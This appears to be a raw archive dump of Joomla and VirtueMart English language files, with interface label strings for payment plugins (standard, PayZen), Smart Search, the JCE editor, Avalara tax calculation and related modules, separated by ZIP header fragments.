VMPAYMENT_STANDARD_AMOUNT="Amount" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL="Percent of the total amount" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL_EXPLAIN="Percent to apply to the total amount" VMPAYMENT_STANDARD_COST_PER_TRANSACTION="Fee per transaction" VMPAYMENT_STANDARD_COST_PER_TRANSACTION_EXPLAIN="Flat amount to apply per transaction" VMPAYMENT_STANDARD_COUNTRIES="Countries" VMPAYMENT_STANDARD_COUNTRIES_DESC="Please select the countries for which this payment method applies. If no country is selected, this payment method will be applied for all countries" VMPAYMENT_STANDARD_CURRENCY="Accepted Currency" VMPAYMENT_STANDARD_CURRENCY_DESC="Accepted Currency for this payment" VMPAYMENT_STANDARD_EMAIL_CURRENCY="Email Currency" VMPAYMENT_STANDARD_EMAIL_CURRENCY_DESC="This option is useful if your payment currency is not the default vendor currency." VMPAYMENT_STANDARD_EMAIL_CURRENCY_PAYMENT="Payment currency" VMPAYMENT_STANDARD_EMAIL_CURRENCY_VENDOR="Vendor currency" VMPAYMENT_STANDARD_INFO="Payment information" VMPAYMENT_STANDARD_LOGOS="Logos" VMPAYMENT_STANDARD_LOGOS_DESC="Logos to be displayed with the payment name" VMPAYMENT_STANDARD_MAX_AMOUNT="Maximum Amount" VMPAYMENT_STANDARD_MAX_AMOUNT_EXPLAIN="Maximum Order Amount to offer this Payment" VMPAYMENT_STANDARD_MIN_AMOUNT="Minimum Amount" VMPAYMENT_STANDARD_MIN_AMOUNT_EXPLAIN="Minimum Order Amount to offer this Payment" VMPAYMENT_STANDARD_ORDER_INFO="Order Information" VMPAYMENT_STANDARD_ORDER_NUMBER="Order Number" VMPAYMENT_STANDARD_ORDER_TOTAL="Order Total" VMPAYMENT_STANDARD_PAYMENTINFO="Payment Info" VMPAYMENT_STANDARD_PAYMENTINFO_EXPLAIN="Add a message to display with the order" VMPAYMENT_STANDARD_PAYMENT_INFO="Payment method" VMPAYMENT_STANDARD_PAYMENT_NAME="Payment Name" VMPAYMENT_STANDARD_PAYMENT_TOTAL_CURRENCY="Total in Payment Currency" VMPAYMENT_STANDARD_PERCENT_TOTAL="Percent of the total amount" VMPAYMENT_STANDARD_PERCENT_TOTAL_EXPLAIN="Percent to apply to the total amount" VMPAYMENT_STANDARD_SEND_INVOICE_ON_ORDER_NULL="Send invoice when total = 0" VMPAYMENT_STANDARD_SEND_INVOICE_ON_ORDER_NULL_EXPLAIN="Set to Yes, if no invoice should be sent if the total of an order is 0. Set to No, if an invoice should be sent all the time" VMPAYMENT_STANDARD_STATUS_PENDING="Order Status for Pending transactions" VMPAYMENT_STANDARD_STATUS_PENDING_EXPLAIN="The order status to which orders are set, which have no completed Payment Transaction." VMPAYMENT_STANDARD_TAX="Tax" VMPAYMENT_STANDARD_TAX_EXPLAIN="Tax to apply to the fee" VMPAYMENT_STANDARD_TRANSACTION="Fee per transaction" VMPAYMENT_STANDARD_TRANSACTION_EXPLAIN="Flat amount to apply per transaction"PK@y>\d1Îee,language/en-GB/en-GB.plg_editors_jce.sys.ininuW+A; JCE Project ; Copyright (C) 2006 - 2011 Ryan Demmer. All rights reserved ; GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html ; Note : All ini files need to be saved as UTF-8 WF_EDITOR_PLUGIN_TITLE ="Editor - JCE" WF_EDITOR_PLUGIN_DESC ="

      JCE (Joomla! Content Editor) is a configuration and extension system for Moxiecode's TinyMCE editor, for the Joomla! CMS.

      Credits:

      JCE would not exist without these great libraries/scripts:

      JCE is dedicated to my father.

      Changelog - for a full changelog see http://www.joomlacontenteditor.net/support/releases/changelog/editor

      "PK@y>\ݸI(language/en-GB/en-GB.mod_toolbar.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TOOLBAR="Toolbar" MOD_TOOLBAR_XML_DESCRIPTION="This Module shows the toolbar icons used to control actions throughout the administrator area." MOD_TOOLBAR_LAYOUT_DEFAULT="Default" PK@y>\T"WAA/language/en-GB/en-GB.plg_vmcustom_stockable.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_STOCKABLE="Custom Field with stock control" VMCUSTOM_STOCKABLE_DESC="Assign a name and the values for the options of a Child Product with stock control" VMCUSTOM_STOCKABLE_IS_VARIANT="Parent Variant" VMCUSTOM_STOCKABLE_NO_CHILD="Please, add new child product! Thereafter you can select the option for each product" VMCUSTOM_STOCKABLE_NO_OPTION="-" VMCUSTOM_STOCKABLE_PRICE="Additional charge" VMCUSTOM_STOCKABLE_SELECTNAME="Option name" VMCUSTOM_STOCKABLE_SELECTNAME_DESC="Enter the name of the select list" VMCUSTOM_STOCKABLE_SELECTOPTIONS="Option values" VMCUSTOM_STOCKABLE_SELECTOPTIONS_DESC="Enter the option for the select list. One option per line." VMCUSTOM_STOCKABLE_USAGE="Attention! This plugin uses child products to manage cart variants with stock control. If you do not need stock control on your cart variants, you should use a normal cart variant."PK@y>\-/77#language/en-GB/en-GB.com_finder.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_FINDER="Smart Search" COM_FINDER_AN_ERROR_HAS_OCCURRED="An Error Has Occurred" COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_DESCRIPTION="Only if a filter is selected, allow an empty search string to initiate a search within the filter restraints." COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_LABEL="Allow Empty Search" COM_FINDER_CONFIG_BATCH_SIZE_DESCRIPTION="The batch size controls how many items are processed per batch. Large batch sizes require lots of memory whereas small batch sizes require less memory but execute more requests which tends to take longer." COM_FINDER_CONFIG_BATCH_SIZE_LABEL="Indexer Batch Size" COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESCRIPTION="Description text for search results will be truncated to the specified character length." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Description Length" COM_FINDER_CONFIG_ENABLE_LOGGING_DESCRIPTION="Enable this option to create a log file in your site's logs folder during the index process. This file is useful for troubleshooting issues with the index process. It is recommended that logging be disabled unless necessary." COM_FINDER_CONFIG_ENABLE_LOGGING_LABEL="Enable Logging" COM_FINDER_CONFIG_EXPAND_ADVANCED_DESCRIPTION="Toggle whether the advanced search options should be expanded by default." COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Expand Advanced Search" COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="OpenSearch Name" COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_DESCRIPTION="Name displayed for this site as a search provider." COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="OpenSearch Description" COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESCRIPTION="Description displayed for this site as a search provider." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_DESCRIPTION="Toggle whether search terms should be highlighted in search results." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_LABEL="Highlight Search Terms" COM_FINDER_CONFIG_IMPORT_EXPORT="Import/Export" COM_FINDER_CONFIG_IMPORT_EXPORT_HELP="Help" COM_FINDER_CONFIG_IMPORT_EXPORT_INSTRUCTIONS="To export your configuration options, click on the Export button in the toolbar above.

      To import an existing configuration, click on the browse button to select a file from your hard drive or copy/paste the data into the text field below and then click the Import button in the toolbar above." COM_FINDER_CONFIG_IMPORT_FROM_FILE="Import From File:" COM_FINDER_CONFIG_IMPORT_FROM_STRING="Import From Text:" COM_FINDER_CONFIG_IMPORT_TOOLBAR_TITLE="Smart Search: Import/Export Configuration" COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_DESCRIPTION="The memory table limit should not be changed unless you are getting errors indicating that the finder_tokens or finder_tokens_aggregate tables are full. The default is 30,000." COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_LABEL="Memory Table Limit" COM_FINDER_CONFIG_META_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The meta data comes from a number of sources including the meta-keywords and meta-description, author names, etc." COM_FINDER_CONFIG_META_MULTIPLIER_LABEL="Meta Data Weight Multiplier" COM_FINDER_CONFIG_MISC_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The miscellaneous text comes from a number of sources including comments and other associated data." COM_FINDER_CONFIG_MISC_MULTIPLIER_LABEL="Miscellaneous Text Weight Multiplier" COM_FINDER_CONFIG_PATH_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The path text comes from the SEF URL of the content." COM_FINDER_CONFIG_PATH_MULTIPLIER_LABEL="Path Text Weight Multiplier" COM_FINDER_CONFIG_SORT_DIRECTION_DESC="The direction in which to sort the search results." COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Sort Direction" COM_FINDER_CONFIG_SORT_ORDER_DESC="The field on which to sort the search results." COM_FINDER_CONFIG_SORT_ORDER_LABEL="Sort Field" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Ascending" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Descending" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="List price" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Relevance" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Date" COM_FINDER_CONFIG_SHOW_ADVANCED_DESCRIPTION="Toggle whether users should be able to see advanced search options." COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Advanced Search" COM_FINDER_CONFIG_SHOW_ADVANCED_TIPS_DESCRIPTION="Toggle whether users should be able to see advanced search tips." COM_FINDER_CONFIG_SHOW_ADVANCED_TIPS_LABEL="Advanced Tips" COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_DESCRIPTION="Toggle whether automatic search suggestions should be displayed." COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_LABEL="Search Suggestions" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESCRIPTION="Show the start and end date filters in the advanced search." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Date Filters" COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESCRIPTION="Toggle whether the description should be displayed with search results." COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Result Description" COM_FINDER_CONFIG_SHOW_URL_DESCRIPTION="Show the associated URL for the item." COM_FINDER_CONFIG_SHOW_URL_LABEL="Result URL" COM_FINDER_CONFIG_STEMMER_DESCRIPTION="The language stemmer to use. Choose snowball if a stemmer for your language is not available or you have multilingual content." COM_FINDER_CONFIG_STEMMER_ENABLE_DESCRIPTION="Enable language stemming if available." COM_FINDER_CONFIG_STEMMER_ENABLE_LABEL="Enable stemmer" COM_FINDER_CONFIG_STEMMER_LABEL="Stemmer" COM_FINDER_CONFIG_STEMMER_PORTER_EN="English Only" COM_FINDER_CONFIG_STEMMER_SNOWBALL="Snowball" COM_FINDER_CONFIG_TEXT_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The body text comes from the summary and/or body of the content." COM_FINDER_CONFIG_TEXT_MULTIPLIER_LABEL="Body Text Weight Multiplier" COM_FINDER_CONFIG_TITLE_MULTIPLIER_DESCRIPTION="The multiplier is used to control how much influence matching text has on the overall relevance score of a search result. A multiplier is considered in relationship to the other multipliers. The title text comes from the title of the content." COM_FINDER_CONFIG_TITLE_MULTIPLIER_LABEL="Title Text Weight Multiplier" COM_FINDER_CONFIGURATION="Smart Search: Configuration" COM_FINDER_CREATE_FILTER="Create a filter." COM_FINDER_EDIT_FILTER="Edit Filter" COM_FINDER_EXPORT="Export" COM_FINDER_FIELD_CREATED_BY_LABEL="Created by" COM_FINDER_FIELD_CREATED_BY_DESC="Creator of the filter" COM_FINDER_FIELD_CREATED_BY_ALIAS_LABEL="Alias" COM_FINDER_FIELD_CREATED_BY_ALIAS_DESC="Displayed name of the filter creator" COM_FINDER_FIELD_MODIFIED_DESCRIPTION="The date and time that the filter was last modified." COM_FINDER_FIELDSET_INDEX_OPTIONS_DESCRIPTION="Indexing Options" COM_FINDER_FIELDSET_INDEX_OPTIONS_LABEL="Index" COM_FINDER_FIELDSET_SEARCH_OPTIONS_DESCRIPTION="Search Options" COM_FINDER_FIELDSET_SEARCH_OPTIONS_LABEL="Search" COM_FINDER_FILTER_BRANCH_LABEL="Search by %s" COM_FINDER_FILTER_BY="Show %s:" COM_FINDER_FILTER_EDIT_TOOLBAR_TITLE="Smart Search: Edit Search Filter" COM_FINDER_FILTER_END_DATE_LABEL="End Date" COM_FINDER_FILTER_END_DATE_DESCRIPTION="Format YYYY-MM-DD" COM_FINDER_FILTER_FIELDSET_DETAILS="Filter Details" COM_FINDER_FILTER_FIELDSET_PARAMS="Filter Timeline" COM_FINDER_FILTER_MAP_COUNT="Map Count" COM_FINDER_FILTER_MAP_COUNT_DESCRIPTION="The number of maps included in the filter." COM_FINDER_FILTER_SEARCH_DESCRIPTION="Filter the list by a title." COM_FINDER_FILTER_SELECT_ALL_LABEL="Search All" COM_FINDER_FILTER_START_DATE_LABEL="Start Date" COM_FINDER_FILTER_START_DATE_DESCRIPTION="Format YYYY-MM-DD" COM_FINDER_FILTER_TIMESTAMP="Created On" COM_FINDER_FILTER_TITLE_DESCRIPTION="The title of the filter." COM_FINDER_FILTER_WHEN_AFTER="After" COM_FINDER_FILTER_WHEN_BEFORE="Before" COM_FINDER_FILTER_WHEN_END_DATE_LABEL="When (End Date)" COM_FINDER_FILTER_WHEN_END_DATE_DESCRIPTION="When to search relative to the end date (before, after or exactly)" COM_FINDER_FILTER_WHEN_EXACTLY="Exactly" COM_FINDER_FILTER_WHEN_START_DATE_LABEL="When (Start Date)" COM_FINDER_FILTER_WHEN_START_DATE_DESCRIPTION="When to search relative to the start date (before, after or exactly)" COM_FINDER_FILTERS="Filters" COM_FINDER_FILTERS_DELETE_CONFIRMATION="Are you sure you want to delete the selected filters(s)?" COM_FINDER_FILTERS_TOOLBAR_TITLE="Smart Search: Manage Search Filters" COM_FINDER_GO="Go" COM_FINDER_IMPORT="Import" COM_FINDER_INDEX="Index" COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT="Are you sure you want to delete the selected item(s)?" COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT="Are you sure you want to delete ALL items from the index? This can take a long time on large sites." COM_FINDER_INDEX_DATE_INFO="Link Date Information::Published Start: %s
      Published End: %s
      Content Start: %s
      Content End: %s" COM_FINDER_INDEX_FILTER_BY_STATE="Any Published State" COM_FINDER_INDEX_HEADING_INDEX_DATE="Last Updated" COM_FINDER_INDEX_HEADING_INDEX_TYPE="Type" COM_FINDER_INDEX_HEADING_LINK_URL="Raw URL" COM_FINDER_INDEX_NO_CONTENT="No content matches your search criteria." COM_FINDER_INDEX_NO_DATA="No content has been indexed." COM_FINDER_INDEX_PLUGIN_CONTENT_NOT_ENABLED="Smart Search content plug-in is not enabled. Changes to content will not update the Smart Search index if you do not enable this plug-in." COM_FINDER_INDEX_PURGE_SUCCESS="All items have been successfully purged." COM_FINDER_INDEX_TIP="Start the indexer by pressing the Index button in the toolbar." COM_FINDER_INDEX_TOOLBAR_PURGE="Purge" COM_FINDER_INDEX_TOOLBAR_TITLE="Smart Search: Manage Indexed Content" COM_FINDER_INDEX_TYPE_FILTER="Any Type of Content" COM_FINDER_INDEXER_HEADER_COMPLETE="Indexing Complete" COM_FINDER_INDEXER_HEADER_ERROR="An Error Has Occurred" COM_FINDER_INDEXER_HEADER_INIT="Starting Indexer" COM_FINDER_INDEXER_HEADER_OPTIMIZE="Optimizing Index" COM_FINDER_INDEXER_HEADER_RUNNING="Indexer Running" COM_FINDER_INDEXER_INVALID_PARSER="Invalid parser type %s" COM_FINDER_INDEXER_INVALID_STEMMER="Invalid stemmer type %s" COM_FINDER_INDEXER_MESSAGE_COMPLETE="The indexing process is complete. It is now safe to close this window." COM_FINDER_INDEXER_MESSAGE_INIT="The indexer is being initialized. Do not close this window." COM_FINDER_INDEXER_MESSAGE_OPTIMIZE="The index tables are being optimized for the best possible performance. Do not close this window." COM_FINDER_INDEXER_MESSAGE_RUNNING="Your content is being indexed. Do not close this window." COM_FINDER_ITEM_X_ONLY="%s Only" COM_FINDER_ITEMS="Content" COM_FINDER_MAP_PUBLISH_FAILED="The selected map(s) could not be published. The returned error message is: %s." COM_FINDER_MAP_PUBLISH_SUCCESS="The selected map(s) were successfully published." COM_FINDER_MAP_UNPUBLISH_FAILED="The selected map(s) could not be unpublished. The returned error message is: %s." COM_FINDER_MAP_UNPUBLISH_SUCCESS="The selected map(s) were successfully unpublished." COM_FINDER_MAPS="Maps" COM_FINDER_MAPS_BRANCH_LINK="Click to show the children in this branch." COM_FINDER_MAPS_BRANCHES="Branches Only" COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT="Are you sure you want to delete the selected maps(s)?" COM_FINDER_MAPS_MULTILANG="Note: Language filter system plug-in has been enabled, so this branch will not be used." COM_FINDER_MAPS_NO_CONTENT="No results to display. Either no content has been indexed or no content meets your filter criteria." COM_FINDER_MAPS_RETURN_TO_BRANCHES="Return to Branches" COM_FINDER_MAPS_TOOLBAR_TITLE="Smart Search: Manage Content Maps" COM_FINDER_MESSAGE_RETURNED="The following message was returned by the server:" COM_FINDER_N_ITEMS_CHECKED_IN_0="No item successfully checked in" COM_FINDER_N_ITEMS_CHECKED_IN_1="%d item successfully checked in" COM_FINDER_N_ITEMS_CHECKED_IN_MORE="%d items successfully checked in" COM_FINDER_N_ITEMS_DELETED="%d items successfully deleted" COM_FINDER_N_ITEMS_DELETED_1="%d item successfully deleted" COM_FINDER_N_ITEMS_PUBLISHED="%d items successfully published" COM_FINDER_N_ITEMS_PUBLISHED_1="%d item successfully published" COM_FINDER_N_ITEMS_TRASHED="%d items successfully trashed" COM_FINDER_N_ITEMS_TRASHED_1="%d item successfully trashed" COM_FINDER_N_ITEMS_UNPUBLISHED="%d items successfully unpublished" COM_FINDER_N_ITEMS_UNPUBLISHED_1="%d item successfully unpublished" COM_FINDER_NO_ERROR_RETURNED="No error was returned. Make sure error reporting is enabled." COM_FINDER_NO_FILTERS="No filters have been created yet." COM_FINDER_NO_RESULTS="No results match your search criteria." COM_FINDER_QUERY_FILTER_TODAY="Today" COM_FINDER_QUERY_OPERATOR_AND="And" COM_FINDER_QUERY_OPERATOR_NOT="Not" COM_FINDER_QUERY_OPERATOR_OR="Or" COM_FINDER_SEARCH_LABEL="Search %s:" COM_FINDER_STATISTICS="Statistics" COM_FINDER_STATISTICS_LINK_TYPE_COUNT="Count" COM_FINDER_STATISTICS_LINK_TYPE_HEADING="Link Type" COM_FINDER_STATISTICS_LINK_TYPE_TOTAL="Total" COM_FINDER_STATISTICS_STATS_DESCRIPTION="The indexed content on this site includes %s terms across %s links with %s attributes in %s branches." COM_FINDER_STATISTICS_TITLE="Smart Search Statistics" COM_FINDER_SUBMENU_FILTERS="Search Filters" COM_FINDER_SUBMENU_INDEX="Indexed Content" COM_FINDER_SUBMENU_MAPS="Content Maps" COM_FINDER_UPDATER_MESSAGE_COMPLETE="Smart Search is up to date." COM_FINDER_UPDATER_MESSAGE_OPTIMIZE="Smart Search is optimizing." COM_FINDER_UPDATER_MESSAGE_PROCESS="Smart Search is updating." COM_FINDER_XML_DESCRIPTION="Smart Search." PK@y>\ 70language/en-GB/en-GB.plg_editors-xtd_article.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_ARTICLE_BUTTON_ARTICLE="Article" PLG_ARTICLE_XML_DESCRIPTION="Displays a button to make it possible to insert articles' links into an Article. Displays a popup allowing you to choose the article" PLG_EDITORS-XTD_ARTICLE="Button - Article" PK@y>\` 2language/en-GB/en-GB.plg_vmcalculation_avalara.ininuW+A; Virtuemart! Project ; author 2011 iStraxx UG. All rights reserved. ; license GNU3 ; Note : All ini files need to be saved as UTF-8 - No BOM VMCALCULATION_AVALARA="AvaTax" VMCALCULATION_AVALARA_ACTIVATED="AvaTax activated" VMCALCULATION_AVALARA_COMPANY_CODE="Company Code" VMCALCULATION_AVALARA_ACCOUNT="Account Number" VMCALCULATION_AVALARA_LICENSE="License Key" VMCALCULATION_AVALARA_COMMITT="Committ to avalara" VMCALCULATION_AVALARA_ONLYCART="only in the cart" VMCALCULATION_AVALARA_ONLYCART_TIP="In case you use the cart module, every page request is calling avatax. To prevent the slower page loads, check this box, so the tax is only calculated in the cart view." VMCALCULATION_AVALARA_DEV="Enable the developer server" VMCALCULATION_AVALARA_ACCRUAL="Enable Accrual Accounting" VMCALCULATION_AVALARA_ACCRUAL_TIP="The opposite is cash based accounting, which is the normal mode for smaller companies. In case you dont know, you should ask your tax consultant or the support at Avalara" VMCALCULATION_AVALARA_VADDRESS="Check address" VMCALCULATION_AVALARA_PREVCHECKOUT_AD_INVALID="Prevent checkout if address is invalid" VMCALCULATION_AVALARA_INSUF_INFO="We cannot calculate your tax, please enter your shipment or billto address" VMCALCULATION_AVALARA_INVALID_INFO="We cannot calculate your tax, please enter a valid shipment or billto address" VMCALCULATION_AVALARA_MANUAL="How to use AvaTax:
      Create a rule and use for 'Type of arithmetic operation' the option 'Tax per bill'. Choose for the 'math operation' AvaTax. Let the rest virtuemart options as is, it is ignored anyway. Check the box to activate AvaTax for this rule and fill in your data from your avalara dashboard. If you want to use the options 'Exemption number' or 'Entity/Use Code', then create the shoppperfield 'tax_exemption_number' respectivly 'avatax_usage_type', more here docs.virtuemart.net/configure-avatax "PK@y>\!c -language/en-GB/en-GB.plg_vmpayment_payzen.ininuW+A;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Module pour la plateforme de paiement PayZen ; Version : 1.2 (révision 33398) ; ;;;;;;;;;;;;;;;;;;;;;;;; ; Développé pour VirtueMart ; Version : 2.0.0 ; Compatibilité plateforme : V2 ; ;;;;;;;;;;;;;;;;;;;;;;;; ; Développé par Lyra Network et L'équipe de développement de VirtueMart ; http://www.lyra-network.com/ ; 20/02/2012 ; Contact : support@payzen.eu ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; VMPAYMENT_PAYZEN_TRANSLATORS_WARING="Translators please read this post first to know if you need to translate this file:http://forum.virtuemart.net/index.php?topic=98187" ; Admin interface : module configuration VMPAYMENT_PAYZEN_PAYMENT_MODULE_SETTINGS="MODULE SETTINGS" VMPAYMENT_PAYZEN_LOGOS="Logos" VMPAYMENT_PAYZEN_LOGOS_DESC="Logos to dispaly for this payment mode" VMPAYMENT_PAYZEN_COST_PER_TRANSACTION="Fee per transaction" VMPAYMENT_PAYZEN_COST_PER_TRANSACTION_DESC="Flat amount to apply per transaction" VMPAYMENT_PAYZEN_COST_PERCENT_TOTAL="Percent of the total amount" VMPAYMENT_PAYZEN_COST_PERCENT_TOTAL_DESC="Percent to apply to the total amount" VMPAYMENT_PAYZEN_TAX="Tax" VMPAYMENT_PAYZEN_TAX_DESC="Tax to apply to the fee" VMPAYMENT_PAYZEN_MODULE_INFORMATION_TITLE="PAYZEN PAYMENT" ; Admin interface : module informations VMPAYMENT_PAYZEN_MODULE_INFORMATION="MODULE INFORMATION" VMPAYMENT_PAYZEN_DEVELOPED_BY="Developed by" VMPAYMENT_PAYZEN_CONTACT_EMAIL="Contact email" VMPAYMENT_PAYZEN_CONTRIB_VERSION="Module version" VMPAYMENT_PAYZEN_GATEWAY_VERSION="Gateway version" VMPAYMENT_PAYZEN_CMS_VERSION="Tested with" VMPAYMENT_PAYZEN_DOC="Read payment plugin manual" ; Admin interface : platform access parameters VMPAYMENT_PAYZEN_PAYMENT_GATEWAY_ACCESS="PAYMENT GATEWAY ACCESS" VMPAYMENT_PAYZEN_SITE_ID="Site id" VMPAYMENT_PAYZEN_SITE_ID_DESC="Identifier provided by PayZen" VMPAYMENT_PAYZEN_TEST_KEY="Test key" VMPAYMENT_PAYZEN_TEST_KEY_DESC="Key provided by PayZen (Available in your backoffice)" VMPAYMENT_PAYZEN_PROD_KEY="Production key" VMPAYMENT_PAYZEN_PROD_KEY_DESC="Key provided by PayZen (Available in your backoffice after test validation)" VMPAYMENT_PAYZEN_CTX_MODE="Mode" VMPAYMENT_PAYZEN_CTX_MODE_DESC="Module context mode" VMPAYMENT_PAYZEN_PLATFORM_URL="Platform url" VMPAYMENT_PAYZEN_PLATFORM_URL_DESC="Link to wich the client will be redirected for payment" ; Admin interface : payment page parameters VMPAYMENT_PAYZEN_PAYMENT_PAGE="PAYMENT PAGE" VMPAYMENT_PAYZEN_LANGUAGE="Défault language" VMPAYMENT_PAYZEN_LANGUAGE_DESC="Select the default language to use in the payment page" VMPAYMENT_PAYZEN_AVAILABLES_LANGUAGES="Available languages" VMPAYMENT_PAYZEN_AVAILABLES_LANGUAGES_DESC="Select ALL to use paltform configuration" VMPAYMENT_PAYZEN_CAPTURE_DELAY="Capture delay" VMPAYMENT_PAYZEN_CAPTURE_DELAY_DESC="The delay in days before restoration bank (adjustable in your backoffice PayZen)" VMPAYMENT_PAYZEN_VALIDATION_MODE="Validation mode" VMPAYMENT_PAYZEN_VALIDATION_MODE_DESC="If manual is selected, you will have to confirm payments manually in your bank backoffice" VMPAYMENT_PAYZEN_PAYMENT_CARDS="Credit Card Types" VMPAYMENT_PAYZEN_PAYMENT_CARDS_DESC="Select ALL to use paltform configuration" ; Admin interface : amount restrictions parameters VMPAYMENT_PAYZEN_AMOUNT_RESTRICTIONS="AMOUNT RESTRICTIONS" VMPAYMENT_PAYZEN_AMOUNT_MIN="Minimum amount" VMPAYMENT_PAYZEN_AMOUNT_MIN_DESC="Minimum amount for wich this payment method is available" VMPAYMENT_PAYZEN_AMOUNT_MAX="Maximum amount" VMPAYMENT_PAYZEN_AMOUNT_MAX_DESC="Maximum amount for wich this payment method is available" ; Admin interface : return to store parameters VMPAYMENT_PAYZEN_RETURN_OPTIONS="RETURN OPTIONS" VMPAYMENT_PAYZEN_REDIRECT_ENABLED="Automatic redirection" VMPAYMENT_PAYZEN_REDIRECT_ENABLED_DESC="If enabled, the client is automatically redirected to your site at the end of the payment process" VMPAYMENT_PAYZEN_REDIRECT_SUCCESS_TIMEOUT="Success redirection timeout" VMPAYMENT_PAYZEN_REDIRECT_SUCCESS_TIMEOUT_DESC="Time in seconds (0-300) before the client is automatically redirected to your site when the payment was successful" VMPAYMENT_PAYZEN_REDIRECT_SUCCESS_MESSAGE="Success redirection message" VMPAYMENT_PAYZEN_REDIRECT_SUCCESS_MESSAGE_DESC="Message posted on the payment platform before redirection when the payment was successful" VMPAYMENT_PAYZEN_REDIRECT_ERROR_TIMEOUT="Failure redirection timeout" VMPAYMENT_PAYZEN_REDIRECT_ERROR_TIMEOUT_DESC="Time in seconds (0-300) before the client is automatically redirected to your site when the payment failed" VMPAYMENT_PAYZEN_REDIRECT_ERROR_MESSAGE="Failure redirection message" VMPAYMENT_PAYZEN_REDIRECT_ERROR_MESSAGE_DESC="Message posted on the payment platform before redirection when the payment failed" VMPAYMENT_PAYZEN_RETURN_MODE="Return mode" VMPAYMENT_PAYZEN_RETURN_MODE_DESC="Method that will be used for transmitting the payment result to your store" VMPAYMENT_PAYZEN_URL_SUCCESS="Success URL" VMPAYMENT_PAYZEN_URL_SUCCESS_DESC="URL on which the client is redirected on payment success" VMPAYMENT_PAYZEN_URL_ERROR="Error URL" VMPAYMENT_PAYZEN_URL_ERROR_DESC="URL on which the client is redirected on payment failure" VMPAYMENT_PAYZEN_URL_CANCEL="Cancel URL" VMPAYMENT_PAYZEN_URL_CANCEL_DESC="URL on which the client is redirected on payment cancellation" VMPAYMENT_PAYZEN_URL_CHECK="Server URL to copy in your PayZen store backoffice" VMPAYMENT_PAYZEN_ORDER_SUCCESS_STATUS="Order Status on payment success" VMPAYMENT_PAYZEN_ORDER_SUCCESS_STATUS_DESC="Define the status of orders paid by PayZen when payment was successful" VMPAYMENT_PAYZEN_ORDER_FAILURE_STATUS="Order Status on payment failure" VMPAYMENT_PAYZEN_ORDER_FAILURE_STATUS_DESC="Define the status of orders paid by PayZen when payment failed" ; Admin interface : constants VMPAYMENT_PAYZEN_TEST="Test" VMPAYMENT_PAYZEN_PRODUCTION="Production" VMPAYMENT_PAYZEN_ALL="ALL" VMPAYMENT_PAYZEN_FRENCH="French" VMPAYMENT_PAYZEN_GERMAN="German" VMPAYMENT_PAYZEN_ENGLISH="English" VMPAYMENT_PAYZEN_SPANISH="Spanish" VMPAYMENT_PAYZEN_CHINESE="Chinese" VMPAYMENT_PAYZEN_ITALIAN="Italian" VMPAYMENT_PAYZEN_JAPANESE="Japanese" VMPAYMENT_PAYZEN_PORTUGUESE="Portuguese" VMPAYMENT_PAYZEN_DUTCH="Dutch" VMPAYMENT_PAYZEN_BY_DEFAULT="Default" VMPAYMENT_PAYZEN_AUTOMATIC="Automatic" 